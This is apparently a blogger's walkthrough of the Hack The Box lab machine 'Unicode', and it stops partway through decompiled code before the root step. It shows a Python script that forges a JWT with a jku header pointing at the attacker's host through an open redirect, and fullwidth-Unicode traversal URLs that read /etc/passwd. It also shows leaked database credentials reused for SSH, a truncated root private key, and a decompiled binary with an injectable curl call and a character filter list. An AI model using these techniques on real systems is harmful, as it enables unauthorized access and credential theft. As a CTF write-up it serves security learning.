A BOX called Unicode heralds an interesting challenge and the name indicates the way forward to the foothold, immediately followed by two other critical points, I had a lot of fun looking for the right joint to reach the flags with this box.

Let's begin with the nmap scan:

Starting Nmap 7.91 ( https://nmap.org ) at 2022-02-22 21:27 CET
Nmap scan report for 10.10.11.126
Host is up (0.041s latency).
Not shown: 998 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 fd:a0:f7:93:9e:d3:cc:bd:c2:3c:7f:92:35:70:d7:77 (RSA)
|   256 8b:b6:98:2d:fa:00:e5:e2:9c:8f:af:0f:44:99:03:b1 (ECDSA)
|_  256 c9:89:27:3e:91:cb:51:27:6f:39:89:36:10:41:df:7c (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-generator: Hugo 0.83.1
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Hackmedia
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 22.89 seconds

And move on the web portal on port 80.

A simple threat analysis portal. Additional links lead to the login and registration page for new users. In the centre of the page a button that allows you to be redirected to an external (or internal) link through a specific feature (it could be a feature put there on purpose with some vulnerability, remember, it will be useful later). We proceed to register and log in with our new user.

We continue to navigate the portal, but there isn't much hidden away to discover. The subscription page seems (not) to work even without data, while another page allows you to upload a file. It requires a pdf file, but there seems to be no control, unfortunately, the path that allows you to reach the uploaded file is not provided, nor, much less, there seems to be any process that processes the file on the server-side (but it is too early for hypotheses). Let's go ahead with the dirb in search of hidden routes:

┌──(in7rud3r㉿Mykali)-[~/…/hackthebox/_10.10.11.126 - Unicode (lin)/attack/upld]
└─$ dirb http://10.10.11.126/     

-----------------
DIRB v2.22    
By The Dark Raver
-----------------

START_TIME: Tue Feb 22 21:50:06 2022
URL_BASE: http://10.10.11.126/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

-----------------

GENERATED WORDS: 4612                                                          

---- Scanning URL: http://10.10.11.126/ ----
+ http://10.10.11.126/checkout (CODE:308|SIZE:264)                                                                
+ http://10.10.11.126/dashboard (CODE:308|SIZE:266)                                                               
+ http://10.10.11.126/debug (CODE:308|SIZE:258)                                                                   
+ http://10.10.11.126/display (CODE:308|SIZE:262)                                                                 
+ http://10.10.11.126/error (CODE:308|SIZE:258)                                                                   
+ http://10.10.11.126/internal (CODE:308|SIZE:264)                                                                
+ http://10.10.11.126/login (CODE:308|SIZE:258)                                                                   
+ http://10.10.11.126/logout (CODE:308|SIZE:260)                                                                  
+ http://10.10.11.126/pricing (CODE:308|SIZE:262)                                                                 
+ http://10.10.11.126/redirect (CODE:308|SIZE:264)                                                                
+ http://10.10.11.126/register (CODE:308|SIZE:264)                                                                
+ http://10.10.11.126/upload (CODE:308|SIZE:260)                                                                  
                                                                                                                  
-----------------
END_TIME: Tue Feb 22 21:53:52 2022
DOWNLOADED: 4612 - FOUND: 12

Many of the URLs identified are already known, while the others do not provide new hints:
http://10.10.11.126/debug returns Bad Gateway
http://10.10.11.126/display redirects the page http://10.10.11.126/unauth_error/ with HTTP code 401 (unauthorized)
http://10.10.11.126/error even returns 404, page not found (what a strange way to handle errors)
http://10.10.11.126/internal returns the message "string" NoneType: None ""

Then the "redirect" page, found in the welcome home, returns (http://unicode.htb/redirect/?url=google.com).

At this point I try to search for some subdomain with the wfuzz:

┌──(in7rud3r㉿Mykali)-[~/…/hackthebox/_10.10.11.126 - Unicode (lin)/attack/upld]
└─$ wfuzz -c -w /usr/share/dnsrecon/subdomains-top1mil-5000.txt -u http://10.10.11.126 -H "Host:FUZZ.unicode.htb" --hc 503,400 --hh 2078
 /usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://10.10.11.126/
Total requests: 5000

=====================================================================
ID           Response   Lines    Word       Chars       Payload                                           
=====================================================================


Total time: 0
Processed Requests: 5000
Filtered Requests: 5000
Requests/sec.: 0

I then return to the portal, approaching a deeper analysis, within the pages and application features. I find a token that looks like a JWT.

eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsImprdSI6Imh0dHA6Ly9oYWNrbWVkaWEuaHRiL3N0YXRpYy9qd2tzLmpzb24ifQ.eyJ1c2VyIjoiaW43cnVkM3IifQ.XoCXfIQ4WotJtCuNQ0KVi3aRWPvlgpZSxX-b1MtUPNe3F82-yTrWPOVliEh4FnCgqj_bEzpIvJYLCZz0d68g2Wz_dMfWKDUwkTXQZjs8cYSSkboPzEt5E8V1YAUsypyrqgkwzuPjEJmfDIBUw6DnUtLWbn4xTtgCmJUz5aDEuf48iRMaAagaq0khZDjGxu9tFnhwTM5i8Kcnq9iuOFLf8ZsEOBf0serDIY9ttkYdzuOuNLJZ0rQTXQhg09UZ-cGWcqT8-9N0XupEwz_Ja1UcRmpXHvXHxC3jzua5fflPIiJwOduKo9yHwwMpPMtY-4i7U_3LIQv-SpFFII1XZGgI-Q

Let's try to decrypt it and analyze its content.

JWT.IO
JSON Web Tokens are an open, industry standard RFC 7519 method for representing claims securely between two parties.

In this case, there is not very useful information in the payload (only our username, which we know, however), it is instead in the header that we find something interesting: a domain that would have been almost impossible to recover through normal hacking techniques. I enter the new domain in my /etc/hosts file and proceed to browse the server URL which appears to handle the JWT token.

http://hackmedia.htb/static/jwks.json

{
    "keys": [
        {
            "kty": "RSA",
            "use": "sig",
            "kid": "hackthebox",
            "alg": "RS256",
            "n": "AMVcGPF62MA_lnClN4Z6WNCXZHbPYr-dhkiuE2kBaEPYYclRFDa24a-AqVY5RR2NisEP25wdHqHmGhm3Tde2xFKFzizVTxxTOy0OtoH09SGuyl_uFZI0vQMLXJtHZuy_YRWhxTSzp3bTeFZBHC3bju-UxiJZNPQq3PMMC8oTKQs5o-bjnYGi3tmTgzJrTbFkQJKltWC8XIhc5MAWUGcoI4q9DUnPj_qzsDjMBGoW1N5QtnU91jurva9SJcN0jb7aYo2vlP1JTurNBtwBMBU99CyXZ5iRJLExxgUNsDBF_DswJoOxs7CAVC5FjIqhb1tRTy3afMWsmGqw8HiUA2WFYcs",
            "e": "AQAB"
        }
    ]
}

I already knew about the JWT token, but not in all its forms and this is a new modality that I had never approached before. I learn a little about the subject and discovered the possibility of using a set of information called "JSON Web Key Sets" to verify the JWT token.

JSON Web Key Sets
A JSON Web Key set is a JSON object which represents a set of JSON Web Keys (a JSON object that represents a cryptographic key).

So I search for "JSON Web Key Sets exploit" and to my surprise, I find a video that immediately convinces me that I'm on the right track.

John is one of the most active users of Hack The BOX and here, facing one of the challenges of the portal, he explains and shows how to bypass the JWT that uses the JWK. Watch the video in full in order to understand the next steps.

So, create a new key pair secret.

┌──(in7rud3r㉿Mykali)-[~/…/hackthebox/_10.10.11.126 - Unicode (lin)/attack/jwt]
└─$ openssl genrsa -out keypair.pem 2048
Generating RSA private key, 2048 bit long modulus (2 primes)
................+++++
.....................+++++
e is 65537 (0x010001)

Prepare the script to generate the JWT token and the JWKS to expose on our custom web server.

#!/usr/bin/env python3

import json
from jwcrypto import jwk, jwt

with open("keypair.pem", "rb") as pemfile:
    key = jwk.JWK.from_pem(pemfile.read())

publickey = key.export(private_key=False)

jwks = {}
jwks["keys"] = [json.loads(publickey)]

with open("jwks.json", "w") as h:
    h.write(json.dumps(jwks))

Token = jwt.JWT(
    header={
        "typ": "JWT",
        "alg": "RS256",
        "jku": "http://10.10.14.71/jwks.json"
    },
    claims={
       "user": "admin"
    }
) 

Token.make_signed_token(key)
print(Token.serialize())

Launch the script and you should be quite ready to try to exploit the portal.

┌──(in7rud3r㉿Mykali)-[~/…/hackthebox/_10.10.11.126 - Unicode (lin)/attack/jwt]
└─$ ./tinker.py                                                                                                                                                                           130 ⨯
eyJhbGciOiJSUzI1NiIsImprdSI6Imh0dHA6Ly8xMC4xMC4xNC43MS9qd2tzLmpzb24iLCJ0eXAiOiJKV1QifQ.eyJ1c2VyIjoiYWRtaW4ifQ.EnGMDTZzHGHa9SW96wEgYivjQKe2qb3CgCMFMS6CJzhpAuK-0j9WmNtpLVJAx0ku4gF8jiDsiMgSJTfU9-8g_mH-LrQhwCZ_LTsTkNSXGEe5g0ROaKnsqDlh-PYjuPMwErvO5C7fCVW4yPEBz-V-5eABTlvGjAxogckYcKqfbmspZfJABiW89dfs0ZnhP4_tq2ar8URDQ3dLOgDgi6nHZ_SexLZFxk92L3jHQDRGP8INNc5OmhiBagpiQOFdGZRxNtHspUOODdhXPYvDSkMks2_EHexMGNkkxqtDXncahNs-J-3lXRx24fYLYpARZluHOntv7oCAhDcm37PrDRxXrQ

Take a look at the generated JWK file and apply some small changes in order to make it similar to the one found on the BOX.

{"keys": [{"e": "AQAB", "use": "sig", "kid": "hackthebox", "alg": "RS256", "kty": "RSA", "n": "yN2eQJ5H3_dJjtjWo-P7xdX2Rsd7TK50hGwAKSnKytbkbpUvCTteNi20QZyirt08Qc9WWIjH1vku16U-A2G3CsClxHdfwb4Y5iIGKFyC79lC3b_xJRFWgXA8Urc9NgnUzhaY58BXqOtbCoY6qDICItZUrqKpUtU1bYYaZRf-qECy99l9dvG6BP1Nu3xdvUYRI-RjodgK2no9-eCNWtcdP6lXx2KPNTtC8E4W8UNFGsSfR0tOh5E7Zt-2DpwFR22jh-uexUOZryQRG2N447Kli3TnP4D-j76I3ugnUAS_LmczX_8UtXJTPaHKexIp_MTnMP4oDW7YDmGpeURCVQ7uDw"}]}

At this point, start your web server in the folder where you created the JWK file (php or python, you choose) and change the token in your browser with the generated one (the one printed on the screen by the script), but apparently the portal breaks. Looking at the console where my web server is running, I realize that there are no requests to it. Probably some security system on the address provided in the token header. So I am reminded of the route used for the redirect. If the check is done on the domain of the server that exposes the JWK file, that will allow me to keep it, at the same time I decide to keep the file name the same as the original one, so that my URL starts and ends as the original one (http://hackmedia.htb/static/../redirect/?url=10.10.14.71/jwks.json). I modify the script, regenerate everything and try again.

┌──(in7rud3r㉿Mykali)-[~/…/hackthebox/_10.10.11.126 - Unicode (lin)/attack/jwt]
└─$ python3 -m http.server 80                                                                                130 ⨯
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.11.126 - - [26/Feb/2022 13:15:13] code 404, message File not found
10.10.11.126 - - [26/Feb/2022 13:15:13] "GET /jwks.json,typ:JWT HTTP/1.1" 404 -

This time the request appears to arrive, but my web server returns 404, as the filename appears to contain the MIME type information. Never mind, I don't want to solve the problem now, I'll just do something simpler and bypass the problem.

┌──(in7rud3r㉿Mykali)-[~/…/hackthebox/_10.10.11.126 - Unicode (lin)/attack/jwt]
└─$ cp jwks.json jwks.json,typ:JWT

And...

...great, I'm in. Browsing I find a couple of links that allow you to download files, but they don't seem to be ready at the moment.
http://hackmedia.htb/display/?page=monthly.pdf
http://hackmedia.htb/display/?page=quarterly.pdf
Could there be some traversal path vulnerability? Or is it connected with the upload link encountered earlier? we investigate. Another surprise is when an interesting error message is shown attempting to recover a file through the vulnerability (http://hackmedia.htb/display/?page=../../../../../../../../../../../etc/passwd).

404
Hmmm...
we do a lot input filtering you can never bypass our filters.Have a good day

I have tried different types of traversal paths, but all to no avail. In the end, I decided to brush up on some theories, in case I was forgetting something; it is Wikipedia that illuminates the right path for me.

Directory traversal attack - Wikipedia

Among the different types of this attack, there is one that uses unicode. Great how the BOX name can make things easier sometimes!

http://hackmedia.htb/display/?page=..%c1%1c..%c1%1c..%c1%1c..%c1%1c..%c1%1c..%c1%1c..%c1%1c..%c1%1c..%c1%1c..%c1%1c..%c1%1c..%c1%1c..%c1%1c..%c1%1cetc%c1%1cpasswd

404
Hmmm...
..�..�..�..�..�..�..�..�..�..�..�..�..�..�etc�passwd Not found

I figured it wouldn't be easy, but I'm pretty sure I'm on the right track. I try again and I find a kind of converter that after some tests seems to be right for me.

Unicode Text Converter

So I try to take the users' classic /etc/passwd file.

The URL in the address bar of the browser seems to be like this: http://hackmedia.htb/display/?page=../../../../etc/passwd

http://hackmedia.htb/display/?page=%EF%BC%8E%EF%BC%8E%EF%BC%8F%EF%BC%8E%EF%BC%8E%EF%BC%8F%EF%BC%8E%EF%BC%8E%EF%BC%8F%EF%BC%8E%EF%BC%8E%EF%BC%8F%EF%BD%85%EF%BD%94%EF%BD%83%EF%BC%8F%EF%BD%90%EF%BD%81%EF%BD%93%EF%BD%93%EF%BD%97%EF%BD%84

And, again...

root:x:0:0:root:/root:/bin/bash
[...]
mysql:x:113:117:MySQL Server,,,:/nonexistent:/bin/false
code:x:1000:1000:,,,:/home/code:/bin/bash

Well, head to the flag!

../../../../home/code/user.txt

http://hackmedia.htb/display/?page=%EF%BC%8E%EF%BC%8E%EF%BC%8F%EF%BC%8E%EF%BC%8E%EF%BC%8F%EF%BC%8E%EF%BC%8E%EF%BC%8F%EF%BC%8E%EF%BC%8E%EF%BC%8F%EF%BD%88%EF%BD%8F%EF%BD%8D%EF%BD%85%EF%BC%8F%EF%BD%83%EF%BD%8F%EF%BD%84%EF%BD%85%EF%BC%8F%EF%BD%95%EF%BD%93%EF%BD%85%EF%BD%92%EF%BC%8E%EF%BD%94%EF%BD%98%EF%BD%94

9******************************2

Ok, from here things got a little complicated, I started looking for database configuration files, apache server, php, but I couldn't figure them out. I could only find the default configuration files which were of no use to me. Just a couple of examples (I leave out the contents of the files): /etc/mysql/my.cnf and /etc/mysql/mysql.conf.d/mysqld.cnf.

Ended up in a dead-end, I go back to the portal, looking for some information that can help me access a reverse shell. I discover through wappalizer that an nginx service version 1.18.0 is also running on this machine. I'm looking for some vulnerabilities:

Exploit for #VU53543 Off-by-one in nginx
Exploit for Code execution in nginx. The vulnerability allows a remote attacker to execute arbitrary code on the target system

And related exploit:

advisories/poc.py at master · x41sec/advisories
Contribute to x41sec/advisories development by creating an account on GitHub.

But it doesn't work. After more time spent looking for exploits, vulnerabilities, attacks and more, it occurs to me that nginx may also have configuration files, let's see where they are and if it is possible to recover any of them.

https://www.plesk.com/blog/various/nginx-configuration-guide/

Let's try.

/etc/nginx/nginx.conf

user www-data;
worker_processes auto;
pid /run/nginx.pid;
include /etc/nginx/modules-enabled/*.conf;

events {
        worker_connections 768;
        # multi_accept on;
}

http {

        ##
        # Basic Settings
        ##

        sendfile on;
        tcp_nopush on;
        tcp_nodelay on;
        keepalive_timeout 65;
        types_hash_max_size 2048;
        # server_tokens off;

        # server_names_hash_bucket_size 64;
        # server_name_in_redirect off;

        include /etc/nginx/mime.types;
        default_type application/octet-stream;

        ##
        # SSL Settings
        ##

        ssl_protocols TLSv1 TLSv1.1 TLSv1.2 TLSv1.3; # Dropping SSLv3, ref: POODLE
        ssl_prefer_server_ciphers on;

        ##
        # Logging Settings
        ##

        access_log /var/log/nginx/access.log;
        error_log /var/log/nginx/error.log;

        ##
        # Gzip Settings
        ##

        gzip on;

        # gzip_vary on;
        # gzip_proxied any;
        # gzip_comp_level 6;
        # gzip_buffers 16 8k;
        # gzip_http_version 1.1;
        # gzip_types text/plain text/css application/json application/javascript text/xml application/xml application/xml+rss text/javascript;

        ##
        # Virtual Host Configs
        ##

        include /etc/nginx/conf.d/*.conf;
        include /etc/nginx/sites-enabled/*;
}
[...]

Okay, I have some information again to focus on. As in one of my last BOXES, I can retrieve the pid of the running process (/run/nginx.pid) and check the command executed from the process folder. But I don't find anything interesting. But let's not give up, there are still many interesting files to consult, such as one of the access logs, for example (/var/log/nginx/access.log). I find a lot of information here (even the attacks of other users, but I don't want to take advantage). Reading online, I find that the configuration files of the portals, should be in the folder /etc/nginx/sites-available/, in a file with the domain name (hackmedia or unicode in my case), but again I find nothing. I try with the default configuration file, which should normally be copied and then modified accordingly (/etc/nginx/sites-available/default it is not good practice to use the default one directly).

limit_req_zone $binary_remote_addr zone=mylimit:10m rate=800r/s;

server{
#Change the Webroot from /home/code/app/ to /var/www/html/
#change the user password from db.yaml
	listen 80;
	error_page 503 /rate-limited/;
	location / {
                limit_req zone=mylimit;
		proxy_pass http://localhost:8000;
		include /etc/nginx/proxy_params;
		proxy_redirect off;
	}
	location /static/{
		alias /home/code/coder/static/styles/;
	}
}

Fantastic, beyond the configuration information contained in the file itself, what gladdens me are the comments inside it. After trying for a while, I finally find what I'm looking for.

/home/code/coder/db.yaml

mysql_host: "localhost"
mysql_user: "code"
mysql_password: "B3stC0d3r2021@@!"
mysql_db: "user"

We cross our fingers and hope they are the right credentials for an ssh shell.

┌──(in7rud3r㉿Mykali)-[~/…/hackthebox/_10.10.11.126 - Unicode (lin)/attack/dwlexpl]
└─$ ssh code@10.10.11.126     
The authenticity of host '10.10.11.126 (10.10.11.126)' can't be established.
ECDSA key fingerprint is SHA256:0ItJgn3BqbEjsSvZRBYXQDCZL7YXnpldg3UdP1Bl4nE.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.11.126' (ECDSA) to the list of known hosts.
code@10.10.11.126's password: 
Welcome to Ubuntu 20.04.3 LTS (GNU/Linux 5.4.0-81-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Thu 03 Mar 2022 10:53:00 PM UTC

  System load:           0.0
  Usage of /:            50.1% of 5.46GB
  Memory usage:          76%
  Swap usage:            0%
  Processes:             314
  Users logged in:       0
  IPv4 address for eth0: 10.10.11.126
  IPv6 address for eth0: dead:beef::250:56ff:feb9:2976


8 updates can be applied immediately.
8 of these updates are standard security updates.
To see these additional updates run: apt list --upgradable


The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings


Last login: Thu Mar  3 18:58:23 2022 from 10.10.15.40
code@code:~$ 

And now let's escalate the privileges. It is immediately clear what we need to focus on.

code@code:~$ sudo -l
Matching Defaults entries for code on code:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User code may run the following commands on code:
    (root) NOPASSWD: /usr/bin/treport

I start the binary to figure out what we are dealing with and immediately (unintentionally), I find that I am in the presence of a compiled python (another thing I have never dealt with ... I love when I learn something new).

code@code:~$ sudo /usr/bin/treport
1.Create Threat Report.
2.Read Threat Report.
3.Download A Threat Report.
4.Quit.
Enter your choice:1
Enter the filename:/tmp/in7rud3r.txt
Enter the report:
Traceback (most recent call last):
  File "treport.py", line 74, in <module>
  File "treport.py", line 13, in create
FileNotFoundError: [Errno 2] No such file or directory: '/root/reports//tmp/in7rud3r.txt'
[19936] Failed to execute script 'treport' due to unhandled exception!

Using the software correctly, however, I don't understand much and it is still difficult to understand when you are faced with attacks from other users.

code@code:~$ sudo /usr/bin/treport
1.Create Threat Report.
2.Read Threat Report.
3.Download A Threat Report.
4.Quit.
Enter your choice:2
ALL THE THREAT REPORTS:
threat_report_15_54_06 threat_report_15_57_33 threat_report_15_02_28 threat_report_17_12_41 aaa threat_report_15_45_09 threat_report_15_04_07 threat_report_15_55_55 a threat_report_15_42_54 threat_report_16_11_50

Enter the filename:threat_report_15_54_06
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
[...]
JVpkJVJSBp4qQUMFMdYx3bj4NcNPnvmb+TW4mgCDt/urNA7pSQ3T1gXbmag9ezFqSmSzC2
a5BI6W1lTZzjUAAAAJcm9vdEBjb2RlAQI=
-----END OPENSSH PRIVATE KEY-----

Enter your choice:

I have to study the track and I think I will need a reverse engineering session. Then I download the file to my machine.

┌──(in7rud3r㉿Mykali)-[~/…/hackthebox/_10.10.11.126 - Unicode (lin)/attack/dwnl]
└─$ scp code@10.10.11.126:/usr/bin/treport ./                                                                  1 ⨯
code@10.10.11.126's password: 
treport                                                                          100% 6690KB   5.4MB/s   00:01    

I start IDA freeware, but immediately it is clear to me that it is not compiled in a standard binary, the strings are not decoded in the correct way, if not those of the standard python packages. I need to figure out how to decompile this file It seems like it's still time to study.

Decompile compiled python binaries (exe, elf) - Retreive from .pyc - HackTricks

Really a very interesting article. We will download and install the necessary.

GitHub - countercept/python-exe-unpacker: A helper script for unpacking and decompiling EXEs compiled from python code.
A helper script for unpacking and decompiling EXEs compiled from python code. - GitHub - countercept/python-exe-unpacker: A helper script for unpacking and decompiling EXEs compiled from python code.
GitHub - Mysterie/uncompyle2: uncompyle2
uncompyle2. Contribute to Mysterie/uncompyle2 development by creating an account on GitHub.

Perfect, after installing uncompyle2 (download the repository and follow the instructions), I proceed to unpack the binary, but immediately I encounter some problems.

┌──(in7rud3r㉿Mykali)-[~/…/_10.10.11.126 - Unicode (lin)/attack/git/python-exe-unpacker]
└─$ python3 pyinstxtractor.py treport                                   
/home/in7rud3r/Dropbox/hackthebox/_10.10.11.126 - Unicode (lin)/attack/git/python-exe-unpacker/pyinstxtractor.py:95: DeprecationWarning: the imp module is deprecated in favour of importlib; see the module's documentation for alternative uses
  import imp
[*] Processing treport
[*] Error : Unsupported pyinstaller version or not a pyinstaller archive

I try to look for another version of the pyinstxtractor and I find really many available.

GitHub - extremecoders-re/pyinstxtractor: PyInstaller Extractor
PyInstaller Extractor. Contribute to extremecoders-re/pyinstxtractor development by creating an account on GitHub.

And this time it seems to work.

┌──(in7rud3r㉿Mykali)-[~/…/_10.10.11.126 - Unicode (lin)/attack/git/pyinstxtractor]
└─$ python3 pyinstxtractor.py treport                               
[+] Processing treport
[+] Pyinstaller version: 2.1+
[+] Python version: 38
[+] Length of package: 6798297 bytes
[+] Found 46 files in CArchive
[+] Beginning extraction...please standby
[+] Possible entry point: pyiboot01_bootstrap.pyc
[+] Possible entry point: pyi_rth_pkgutil.pyc
[+] Possible entry point: pyi_rth_multiprocessing.pyc
[+] Possible entry point: pyi_rth_inspect.pyc
[+] Possible entry point: treport.pyc
[!] Warning: This script is running in a different Python version than the one used to build the executable.
[!] Please run this script in Python38 to prevent extraction errors during unmarshalling
[!] Skipping pyz extraction
[+] Successfully extracted pyinstaller archive: treport

You can now use a python decompiler on the pyc files within the extracted directory

┌──(in7rud3r㉿Mykali)-[~/…/_10.10.11.126 - Unicode (lin)/attack/git/pyinstxtractor]
└─$ ls -la
total 6764
drwxr-xr-x 4 in7rud3r in7rud3r    4096 Mar  5 22:21 .
drwxr-xr-x 4 in7rud3r in7rud3r    4096 Mar  5 22:20 ..
drwxr-xr-x 8 in7rud3r in7rud3r    4096 Mar  5 22:20 .git
-rw-r--r-- 1 in7rud3r in7rud3r   35149 Mar  5 22:20 LICENSE
-rw-r--r-- 1 in7rud3r in7rud3r   14890 Mar  5 22:20 pyinstxtractor.py
-rw-r--r-- 1 in7rud3r in7rud3r    2319 Mar  5 22:20 README.md
-rwxr-xr-x 1 in7rud3r in7rud3r 6850224 Mar  5 22:21 treport
drwxr-xr-x 4 in7rud3r in7rud3r    4096 Mar  5 22:21 treport_extracted
                                                                                                                   
┌──(in7rud3r㉿Mykali)-[~/…/_10.10.11.126 - Unicode (lin)/attack/git/pyinstxtractor]
└─$ cd treport_extracted                
                                                                                                                   
┌──(in7rud3r㉿Mykali)-[~/…/attack/git/pyinstxtractor/treport_extracted]
└─$ ls -la
total 12592
drwxr-xr-x 4 in7rud3r in7rud3r    4096 Mar  5 22:21 .
drwxr-xr-x 4 in7rud3r in7rud3r    4096 Mar  5 22:21 ..
-rw-r--r-- 1 in7rud3r in7rud3r  777217 Mar  5 22:21 base_library.zip
-rw-r--r-- 1 in7rud3r in7rud3r   74848 Mar  5 22:21 libbz2.so.1.0
-rw-r--r-- 1 in7rud3r in7rud3r 2954080 Mar  5 22:21 libcrypto.so.1.1
drwxr-xr-x 2 in7rud3r in7rud3r    4096 Mar  5 22:21 lib-dynload
-rw-r--r-- 1 in7rud3r in7rud3r  182560 Mar  5 22:21 libexpat.so.1
-rw-r--r-- 1 in7rud3r in7rud3r   43416 Mar  5 22:21 libffi.so.7
-rw-r--r-- 1 in7rud3r in7rud3r  162264 Mar  5 22:21 liblzma.so.5
-rw-r--r-- 1 in7rud3r in7rud3r  224008 Mar  5 22:21 libmpdec.so.2
-rw-r--r-- 1 in7rud3r in7rud3r 5449112 Mar  5 22:21 libpython3.8.so.1.0
-rw-r--r-- 1 in7rud3r in7rud3r  319528 Mar  5 22:21 libreadline.so.8
-rw-r--r-- 1 in7rud3r in7rud3r  598104 Mar  5 22:21 libssl.so.1.1
-rw-r--r-- 1 in7rud3r in7rud3r  192032 Mar  5 22:21 libtinfo.so.6
-rw-r--r-- 1 in7rud3r in7rud3r  108936 Mar  5 22:21 libz.so.1
-rw-r--r-- 1 in7rud3r in7rud3r    1388 Mar  5 22:21 pyiboot01_bootstrap.pyc
-rw-r--r-- 1 in7rud3r in7rud3r    1792 Mar  5 22:21 pyimod01_os_path.pyc
-rw-r--r-- 1 in7rud3r in7rud3r    8907 Mar  5 22:21 pyimod02_archive.pyc
-rw-r--r-- 1 in7rud3r in7rud3r   13152 Mar  5 22:21 pyimod03_importers.pyc
-rw-r--r-- 1 in7rud3r in7rud3r    3468 Mar  5 22:21 pyimod04_ctypes.pyc
-rw-r--r-- 1 in7rud3r in7rud3r     688 Mar  5 22:21 pyi_rth_inspect.pyc
-rw-r--r-- 1 in7rud3r in7rud3r    2091 Mar  5 22:21 pyi_rth_multiprocessing.pyc
-rw-r--r-- 1 in7rud3r in7rud3r    1069 Mar  5 22:21 pyi_rth_pkgutil.pyc
-rw-r--r-- 1 in7rud3r in7rud3r 1703522 Mar  5 22:21 PYZ-00.pyz
drwxr-xr-x 2 in7rud3r in7rud3r    4096 Mar  5 22:21 PYZ-00.pyz_extracted
-rw-r--r-- 1 in7rud3r in7rud3r     311 Mar  5 22:21 struct.pyc
-rw-r--r-- 1 in7rud3r in7rud3r    2662 Mar  5 22:21 treport.pyc

Obviously the satisfaction does not last long and new problems emerge trying to decompile the package.

┌──(in7rud3r㉿Mykali)-[~/…/attack/git/pyinstxtractor/treport_extracted]
└─$ uncompyle6 treport.pyc
Error: uncompyle6 requires Python 2.6-2.7, or 3.1-3.6

Again I try with different versions of the decompiler.

uncompyle6
Python cross-version byte-code deparser
GitHub - rocky/python-decompile3: Python decompiler for 3.7-3.8 Stripped down from uncompyle6 so we can refactor and start to fix up some long-standing problems
Python decompiler for 3.7-3.8 Stripped down from uncompyle6 so we can refactor and start to fix up some long-standing problems - GitHub - rocky/python-decompile3: Python decompiler for 3.7-3.8 Stri...

However, it seems that the problem is due to the different versions of python from which the source was compiled.

┌──(in7rud3r㉿Mykali)-[~/…/attack/git/pyinstxtractor/treport_extracted]
└─$ uncompyle6 treport.pyc                                                                                   255 ⨯
# uncompyle6 version 3.8.0
# Python bytecode 3.9.0 (3425)
# Decompiled from: Python 3.9.7 (default, Sep 24 2021, 09:43:00) 
# [GCC 10.3.0]
# Embedded file name: treport.py

Unsupported Python version, 3.9.0, for decompilation


# Unsupported bytecode in file treport.pyc
# Unsupported Python version, 3.9.0, for decompilation

In the end, I understand that it is the version I have installed on my machine that is not good, so I have to downgrade to an older version.

I leave out the problems I encountered in order to be able to downgrade, I hope you will not need it. However, if you run into this problem, I suggest you install a virtual machine without python and install version 3.8 directly.

Ok, hoping that you have the right version installed, proceed to disassemble again (repeat the step with the pyinstxtractor so that the package has references to the right version of python) and then decompile the package obtained.

in7rud3r@in7rud3r-VirtualBox:~/Downloads/git/pyinstxtractor/treport_extracted$ decompyle3 treport.pyc 
# decompyle3 version 3.9.0a1
# Python bytecode version base 3.8.0 (3413)
# Decompiled from: Python 3.8.6 (default, Jan 27 2021, 15:42:20) 
# [GCC 10.2.0]
# Embedded file name: treport.py
while True:
    while True:
        import os, sys
        from datetime import datetime
        import re

        class threat_report:

            def create(self):
                file_name = input('Enter the filename:')
                content = input('Enter the report:')
                if '../' in file_name:
                    print('NOT ALLOWED')
                    sys.exit(0)
                file_path = '/root/reports/' + file_name
                with open(file_path, 'w') as fd:
                    fd.write(content)

            def list_files(self):
                file_list = os.listdir('/root/reports/')
                files_in_dir = ' '.join([str(elem) for elem in file_list])
                print('ALL THE THREAT REPORTS:')
                print(files_in_dir)

            def read_file(self):
                file_name = input('\nEnter the filename:')
                if '../' in file_name:
                    print('NOT ALLOWED')
                    sys.exit(0)
                contents = ''
                file_name = '/root/reports/' + file_name
                try:
                    with open(file_name, 'r') as fd:
                        contents = fd.read()
                except:
                    print('SOMETHING IS WRONG')
                else:
                    print(contents)

            def download(self):
                now = datetime.now()
                current_time = now.strftime('%H_%M_%S')
                command_injection_list = ['$', '`', ';', '&', '|', '||', '>', '<', '?', "'", '@', '#', '$', '%', '^', '(', ')']
                ip = input('Enter the IP/file_name:')
                res = bool(re.search('\\s', ip))
                if res:
                    print('INVALID IP')
                    sys.exit(0)
                if 'file' in ip or ('gopher' in ip or 'mysql' in ip):
                    print('INVALID URL')
                    sys.exit(0)
                for vars in command_injection_list:
                    if vars in ip:
                        print('NOT ALLOWED')
                        sys.exit(0)
                else:
                    cmd = '/bin/bash -c "curl ' + ip + ' -o /root/reports/threat_report_' + current_time + '"'
                    os.system(cmd)


        if __name__ == '__main__':
            obj = threat_report()
            print('1.Create Threat Report.')
            print('2.Read Threat Report.')
            print('3.Download A Threat Report.')
            print('4.Quit.')
            check = True
        else:
            while True:
                if check:
                    choice = input('Enter your choice:')
                    try:
                        choice = int(choice)
                    except:
                        print('Wrong Input')
                        sys.exit(0)
                    else:
                        if choice == 1:
